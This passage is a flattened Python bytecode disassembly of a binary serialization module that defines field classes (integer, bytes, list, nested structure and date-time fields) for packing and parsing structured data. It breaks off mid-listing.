FORMAT_VALUE LOAD_CONST ' size for field must be an int or None for a variable length' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST size LOAD_FAST self STORE_ATTR size LOAD_FAST default LOAD_FAST self STORE_ATTR default LOAD_CONST None LOAD_FAST self STORE_ATTR value LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _to_string CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_packed_size CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR little_endian POP_JUMP_IF_FALSE LOAD_CONST '<' RETURN_VALUE LOAD_CONST '>' RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST value LOAD_FAST self LOAD_METHOD _pack_value LOAD_FAST value CALL_METHOD STORE_FAST packed_value LOAD_FAST self LOAD_METHOD _get_calculated_size LOAD_FAST self LOAD_ATTR size LOAD_FAST packed_value CALL_METHOD STORE_FAST size LOAD_GLOBAL len LOAD_FAST packed_value CALL_FUNCTION STORE_FAST packed_value_len LOAD_FAST packed_value_len LOAD_FAST size COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid packed data length for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of ' LOAD_FAST packed_value_len FORMAT_VALUE LOAD_CONST ' does not fit field size of ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST packed_value RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL bytes LOAD_FAST value CALL_FUNCTION STORE_FAST value LOAD_FAST self LOAD_METHOD _parse_value LOAD_FAST value CALL_METHOD STORE_FAST parsed_value LOAD_FAST parsed_value LOAD_FAST self STORE_ATTR value LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_size LOAD_FAST self LOAD_ATTR size LOAD_FAST data CALL_METHOD STORE_FAST size LOAD_FAST self LOAD_METHOD set_value LOAD_FAST data LOAD_CONST 0 LOAD_FAST size BUILD_SLICE BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST data LOAD_GLOBAL len LOAD_FAST self CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST expanded_value LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST expanded_value CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD _parse_value LOAD_FAST value CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST size LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST size LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST expanded_size LOAD_FAST self LOAD_METHOD _get_calculated_size LOAD_FAST expanded_size LOAD_FAST data CALL_METHOD RETURN_VALUE LOAD_FAST size RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST size LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST size LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST size LOAD_CONST 'B' LOAD_CONST 'H' LOAD_CONST 'L' LOAD_CONST 'Q' LOAD_CONST (1, 2, 4, 8) BUILD_CONST_KEY_MAP STORE_FAST struct_format LOAD_FAST size LOAD_FAST struct_format LOAD_METHOD keys CALL_METHOD COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'Cannot struct format of size ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST struct_format LOAD_FAST size BINARY_SUBSCR STORE_FAST format_char LOAD_FAST unsigned POP_JUMP_IF_TRUE LOAD_FAST format_char LOAD_METHOD lower CALL_METHOD STORE_FAST format_char LOAD_FAST format_char RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'IntField' STORE_NAME __qualname__ LOAD_CONST (True,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa5f271270, file "f.py", line 313> LOAD_CONST 'IntField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _pack_value at 0x7faa5f271b70, file "f.py", line 329> LOAD_CONST 'IntField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faa5f271030, file "f.py", line 336> LOAD_CONST 'IntField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7faa5f271930, file "f.py", line 354> LOAD_CONST 'IntField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faa5f271a50, file "f.py", line 357> LOAD_CONST 'IntField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST size LOAD_CONST (1, 2, 4, 8) COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'IntField size must have a value of 1, 2, 4, or 8 not ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST unsigned LOAD_FAST self STORE_ATTR unsigned LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_CONST 'size' LOAD_FAST size BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _endian_prefix LOAD_FAST self LOAD_METHOD _get_struct_format LOAD_FAST self LOAD_ATTR size LOAD_FAST self LOAD_ATTR unsigned CALL_METHOD BINARY_ADD STORE_FAST struct_string LOAD_GLOBAL struct LOAD_METHOD pack LOAD_FAST struct_string LOAD_FAST value CALL_METHOD STORE_FAST packed_int LOAD_FAST packed_int RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST int_value JUMP_FORWARD to 128 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST int_value JUMP_FORWARD to 128 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _endian_prefix LOAD_FAST self LOAD_METHOD _get_struct_format LOAD_FAST self LOAD_ATTR size LOAD_FAST self LOAD_ATTR unsigned CALL_METHOD BINARY_ADD STORE_FAST struct_string LOAD_GLOBAL struct LOAD_METHOD unpack LOAD_FAST struct_string LOAD_FAST value CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST int_value JUMP_FORWARD to 128 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST int_value JUMP_FORWARD to 128 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to an int' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST int_value RETURN_VALUE LOAD_FAST self LOAD_ATTR size RETURN_VALUE LOAD_GLOBAL str LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BytesField' STORE_NAME __qualname__ LOAD_CONST '\n Used to store a raw bytes value as a field. Is the most universal and can\n convert from most objects to a bytes string. Use this is the field can\n contain multiple values and parsing will be done outside of the class.\n ' STORE_NAME __doc__ LOAD_CONST <code object _pack_value at 0x7fab700b4660, file "f.py", line 368> LOAD_CONST 'BytesField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7fab700b4540, file "f.py", line 371> LOAD_CONST 'BytesField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7fab700b4f60, file "f.py", line 389> LOAD_CONST 'BytesField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7fab700b45d0, file "f.py", line 393> LOAD_CONST 'BytesField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CONST None RETURN_VALUE LOAD_FAST value RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST b'' STORE_FAST bytes_value JUMP_FORWARD to 140 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST bytes_value JUMP_FORWARD to 140 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _endian_prefix LOAD_FAST self LOAD_METHOD _get_struct_format LOAD_FAST self LOAD_ATTR size CALL_METHOD BINARY_ADD STORE_FAST struct_string LOAD_GLOBAL struct LOAD_METHOD pack LOAD_FAST struct_string LOAD_FAST value CALL_METHOD STORE_FAST bytes_value JUMP_FORWARD to 140 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Structure CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_METHOD pack CALL_METHOD STORE_FAST bytes_value JUMP_FORWARD to 140 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST bytes_value JUMP_FORWARD to 140 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a byte string' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST bytes_value RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST bytes_value LOAD_GLOBAL len LOAD_FAST bytes_value CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST bytes_value LOAD_GLOBAL _bytes_to_hex LOAD_FAST bytes_value LOAD_CONST True LOAD_CONST 0 LOAD_CONST ('pretty', 'hex_per_line') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ListField' STORE_NAME __qualname__ LOAD_CONST None LOAD_NAME BytesField CALL_FUNCTION LOAD_CONST None BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa5e9e9930, file "f.py", line 399> LOAD_CONST 'ListField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __getitem__ at 0x7faa5e9e95d0, file "f.py", line 456> LOAD_CONST 'ListField.__getitem__' MAKE_FUNCTION STORE_NAME __getitem__ LOAD_CONST <code object get_value at 0x7faa5e9e9d20, file "f.py", line 459> LOAD_CONST 'ListField.get_value' MAKE_FUNCTION STORE_NAME get_value LOAD_CONST <code object _pack_value at 0x7faad43a08a0, file "f.py", line 470> LOAD_CONST 'ListField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faad43a0270, file "f.py", line 476> LOAD_CONST 'ListField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _parse_sub_value at 0x7faad43a09c0, file "f.py", line 498> LOAD_CONST 'ListField._parse_sub_value' MAKE_FUNCTION STORE_NAME _parse_sub_value LOAD_CONST <code object _get_packed_size at 0x7faad43a0ed0, file "f.py", line 516> LOAD_CONST 'ListField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faad43a0e40, file "f.py", line 523> LOAD_CONST 'ListField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CONST <code object _create_list_from_bytes at 0x7faad43a0c00, file "f.py", line 533> LOAD_CONST 'ListField._create_list_from_bytes' MAKE_FUNCTION STORE_NAME _create_list_from_bytes LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST list_count LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST list_count LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST list_count LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'ListField list_count must be an int, lambda, or None for a variable list length' CALL_FUNCTION RAISE_VARARGS LOAD_FAST list_count LOAD_FAST self STORE_ATTR list_count LOAD_GLOBAL isinstance LOAD_FAST list_type LOAD_GLOBAL Field CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'ListField list_type must be a Field definition' CALL_FUNCTION RAISE_VARARGS LOAD_FAST list_type LOAD_FAST self STORE_ATTR list_type LOAD_FAST unpack_func LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST unpack_func LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'ListField unpack_func must be a lambda function or None' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 132 LOAD_FAST unpack_func LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST list_count LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST list_type LOAD_ATTR size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'ListField must either define unpack_func as a lambda or set list_count and list_size with a size' CALL_FUNCTION RAISE_VARARGS LOAD_FAST unpack_func LOAD_FAST self STORE_ATTR unpack_func LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_value CALL_METHOD LOAD_FAST item BINARY_SUBSCR RETURN_VALUE BUILD_LIST STORE_FAST list_value LOAD_GLOBAL isinstance LOAD_FAST self LOAD_ATTR value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST value JUMP_FORWARD to 38 LOAD_FAST self LOAD_ATTR value STORE_FAST value SETUP_LOOP to 66 LOAD_FAST value GET_ITER FOR_ITER to 64 STORE_FAST entry LOAD_FAST list_value LOAD_METHOD append LOAD_FAST entry LOAD_METHOD get_value CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST list_value RETURN_VALUE LOAD_CONST b'' STORE_FAST data SETUP_LOOP to 34 LOAD_GLOBAL list LOAD_FAST value CALL_FUNCTION GET_ITER FOR_ITER to 32 STORE_FAST value LOAD_FAST data LOAD_FAST value LOAD_METHOD pack CALL_METHOD INPLACE_ADD STORE_FAST data JUMP_ABSOLUTE POP_BLOCK LOAD_FAST data RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE BUILD_LIST STORE_FAST list_value JUMP_FORWARD to 146 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_DEREF self LOAD_ATTR unpack_func LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD unpack_func LOAD_DEREF self LOAD_ATTR structure LOAD_FAST value CALL_METHOD STORE_FAST list_value JUMP_FORWARD to 146 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD _create_list_from_bytes LOAD_DEREF self LOAD_ATTR list_count LOAD_DEREF self LOAD_ATTR list_type LOAD_FAST value CALL_METHOD STORE_FAST list_value JUMP_FORWARD to 146 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST list_value JUMP_FORWARD to 146 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_DEREF self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a list' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faad43a0780, file "f.py", line 495> LOAD_CONST 'ListField._parse_value.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST list_value GET_ITER CALL_FUNCTION STORE_FAST list_value LOAD_FAST list_value RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST v LOAD_DEREF self LOAD_METHOD _parse_sub_value LOAD_FAST v CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Field CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST new_field JUMP_FORWARD to 118 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Structure CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL StructureField LOAD_GLOBAL len LOAD_FAST value CALL_FUNCTION LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_FAST value LOAD_CONST ('size', 'structure_type', 'default') CALL_FUNCTION STORE_FAST new_field LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' list entry' BUILD_STRING LOAD_FAST new_field STORE_ATTR name LOAD_FAST value LOAD_FAST new_field STORE_ATTR structure LOAD_FAST new_field LOAD_METHOD set_value LOAD_FAST new_field LOAD_ATTR default CALL_METHOD POP_TOP JUMP_FORWARD to 118 LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST self LOAD_ATTR list_type CALL_METHOD STORE_FAST new_field LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' list entry' BUILD_STRING LOAD_FAST new_field STORE_ATTR name LOAD_FAST new_field LOAD_METHOD set_value LOAD_FAST value CALL_METHOD POP_TOP LOAD_FAST new_field RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST list_value LOAD_CONST 0 STORE_FAST size SETUP_LOOP to 46 LOAD_GLOBAL list LOAD_FAST list_value CALL_FUNCTION GET_ITER FOR_ITER to 44 STORE_FAST field LOAD_FAST size LOAD_GLOBAL len LOAD_FAST field CALL_FUNCTION INPLACE_ADD STORE_FAST size JUMP_ABSOLUTE POP_BLOCK LOAD_FAST size RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST list_value LOAD_CONST <code object <listcomp> at 0x7faad43a0b70, file "f.py", line 525> LOAD_CONST 'ListField._to_string.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL list LOAD_FAST list_value CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST list_string LOAD_GLOBAL len LOAD_FAST list_string CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST '[]' STORE_FAST string JUMP_FORWARD to 70 LOAD_CONST ',\n' LOAD_METHOD join LOAD_FAST list_string CALL_METHOD STORE_FAST list_str LOAD_CONST '[\n' LOAD_FAST list_str FORMAT_VALUE LOAD_CONST '\n]' BUILD_STRING STORE_FAST string LOAD_FAST string RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 STORE_FAST v LOAD_GLOBAL _indent_lines LOAD_GLOBAL str LOAD_FAST v CALL_FUNCTION LOAD_GLOBAL TAB CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST list_count LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST list_count LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST list_count LOAD_FAST self LOAD_METHOD _create_list_from_bytes LOAD_FAST list_count LOAD_FAST list_type LOAD_FAST value CALL_METHOD RETURN_VALUE BUILD_LIST STORE_FAST list_value SETUP_LOOP to 90 LOAD_GLOBAL range LOAD_CONST 0 LOAD_FAST list_count CALL_FUNCTION GET_ITER FOR_ITER to 88 STORE_FAST idx LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST list_type CALL_METHOD STORE_FAST new_field LOAD_FAST new_field LOAD_METHOD unpack LOAD_FAST value CALL_METHOD STORE_FAST value LOAD_FAST list_value LOAD_METHOD append LOAD_FAST new_field CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST list_value RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'StructureField' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faad43a0300, file "f.py", line 547> LOAD_CONST 'StructureField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __setitem__ at 0x7faad43a0a50, file "f.py", line 560> LOAD_CONST 'StructureField.__setitem__' MAKE_FUNCTION STORE_NAME __setitem__ LOAD_CONST <code object __getitem__ at 0x7faad43a06f0, file "f.py", line 564> LOAD_CONST 'StructureField.__getitem__' MAKE_FUNCTION STORE_NAME __getitem__ LOAD_CONST <code object set_structure_type at 0x7faad43a00c0, file "f.py", line 567> LOAD_CONST 'StructureField.set_structure_type' MAKE_FUNCTION STORE_NAME set_structure_type LOAD_CONST <code object _pack_value at 0x7faad43a0930, file "f.py", line 571> LOAD_CONST 'StructureField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7fab411b94b0, file "f.py", line 576> LOAD_CONST 'StructureField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7fab411b9c90, file "f.py", line 604> LOAD_CONST 'StructureField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7fab411b96f0, file "f.py", line 608> LOAD_CONST 'StructureField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CONST <code object _get_field at 0x7fab411b95d0, file "f.py", line 612> LOAD_CONST 'StructureField._get_field' MAKE_FUNCTION STORE_NAME _get_field LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST structure_type LOAD_FAST self STORE_ATTR structure_type LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD STORE_FAST field LOAD_FAST field LOAD_METHOD set_value LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD RETURN_VALUE LOAD_FAST structure_type LOAD_FAST self STORE_ATTR structure_type LOAD_FAST self LOAD_METHOD set_value LOAD_FAST self LOAD_ATTR value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Structure CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_METHOD pack CALL_METHOD STORE_FAST value LOAD_FAST value RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST b'' STORE_FAST structure_value JUMP_FORWARD to 94 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST structure_value JUMP_FORWARD to 94 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST structure_value JUMP_FORWARD to 94 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL Structure CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST structure_value JUMP_FORWARD to 94 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a structure' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST structure_value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR structure_type POP_JUMP_IF_FALSE LOAD_FAST structure_value LOAD_CONST b'' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST self LOAD_ATTR structure_type LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD structure_type LOAD_FAST self LOAD_ATTR structure CALL_METHOD STORE_FAST structure_type JUMP_FORWARD to 152 LOAD_FAST self LOAD_ATTR structure_type STORE_FAST structure_type LOAD_FAST structure_type CALL_FUNCTION STORE_FAST structure LOAD_FAST structure LOAD_METHOD unpack LOAD_FAST structure_value CALL_METHOD POP_TOP LOAD_FAST structure STORE_FAST structure_value LOAD_FAST structure_value RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST structure_value LOAD_GLOBAL len LOAD_FAST structure_value CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST structure_value LOAD_GLOBAL str LOAD_FAST structure_value CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST structure_value LOAD_GLOBAL isinstance LOAD_FAST structure_value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Cannot get field ' LOAD_FAST key FORMAT_VALUE LOAD_CONST ' when structure is defined as a byte string' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST structure_value LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD STORE_FAST field LOAD_FAST field RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DateTimeField' STORE_NAME __qualname__ LOAD_CONST 116444736000000000 STORE_NAME EPOCH_FILETIME LOAD_CONST (None,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab411b9f60, file "f.py", line 625> LOAD_CONST 'DateTimeField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _pack_value at 0x7fab411b99c0, file "f.py", line 648> LOAD_CONST 'DateTimeField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faac000c780, file "f.py", line 662> LOAD_CONST 'DateTimeField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7fab411b9b70, file "f.py", line 688> LOAD_CONST 'DateTimeField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faac000c810, 